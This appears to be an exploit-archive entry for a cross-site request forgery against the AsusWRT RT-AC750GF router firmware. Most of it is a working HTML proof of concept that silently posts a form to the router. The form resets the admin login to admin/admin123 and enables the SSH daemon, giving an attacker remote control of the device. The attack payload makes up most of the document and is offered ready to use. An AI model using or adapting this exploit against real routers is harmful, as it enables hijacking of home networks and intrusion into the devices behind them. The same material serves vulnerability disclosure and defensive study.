AsusWRT RT-AC750GF suffers from a cross site request forgery vulnerability in the change admin password flow.
363560f7c28221e14f216c3e9133cd294040a8d4e3874784d921d8085a9c6803# Exploit Title: AsusWRT RT-AC750GF - Cross-Site Request Forgery (Change Admin Password)
# Date: 2018-06-23
# Exploit Author: Wadeek
# Vendor Homepage: https://www.asus.com/
# Firmware Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC750GF/FW_RT_AC750GF_30043806038.zip
# Firmware Version: 3.0.0.4.380.6038
# Tested on: ASUS RT-AC750GF with default firmware version 3.0.0.4.380.6038
# (Cross Site Scripting -> URL Redirecting -> Cross-Site Request Forgery {Cookie: asus_token}
# -> Change the router login password and enable SSH daemon)
<html>
<body>
<p>Proof Of Concept</p>
<!-- <form action="http://192.168.1.1/findasus.cgi" method="POST"> -->
<form action="http://router.asus.com/findasus.cgi" method="POST">
<input type="hidden" name="action_mode" value="refresh_networkmap" />
<input type="text" id="current_page" name="current_page" value="" />
<script>
// set username at admin
// set password at admin123
// enable ssh daemon
document.getElementById("current_page").value = "start_apply.htm?productid=RT-AC53¤t_page=Advanced_System_Content.asp&next_page=Advanced_System_Content.asp&modified=0&action_mode=apply&action_wait=5&action_script=restart_time%3Brestart_upnp&http_username=admin&http_passwd=admin123&http_passwd2=admin123&v_password2=admin123&sshd_enable=1&sshd_port=22&sshd_pass=1&sshd_authkeys=";
</script>
<input type="submit" value="" />
</form>
</body>
</html>
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